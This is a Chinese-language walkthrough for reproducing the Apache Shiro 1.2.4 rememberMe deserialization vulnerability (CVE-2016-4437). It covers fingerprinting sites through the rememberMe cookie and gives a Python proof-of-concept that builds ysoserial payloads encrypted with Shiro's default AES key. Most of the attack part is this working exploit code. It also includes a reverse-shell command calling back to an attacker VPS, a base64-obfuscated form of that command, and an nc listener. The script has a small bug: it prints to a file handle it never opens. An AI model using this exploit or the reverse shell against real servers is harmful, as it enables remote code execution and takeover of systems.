Shiro是什么?
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API。
怎么判断要测试的这个网站是否用到了Shiro框架?
可以在请求包cookie字段加入rememberMe=1,观察返回数据包是否包含rememberMe=deleteMe等信息
Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现
用Docker搭建靶机环境如下:
将POC脚本拷贝至自己的VPS
shiro_poc1.py
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
# with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
利用CEYE看是否能执行命令
复制生成的rememberMe修改抓到的数据包
点击GO发送数据包,CYEY观察回显如下:
当然生成rememberMe时执行的命令可以换成反弹shell命令bash –i >& /dev/tcp/VPSIP地址/端口号 0>&1
需要base4进行加密
bash -c {echo,YmFza、、、、、MjEuMzcuMTQyLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
VPS监听反弹回来的端口 nc -lvp 1234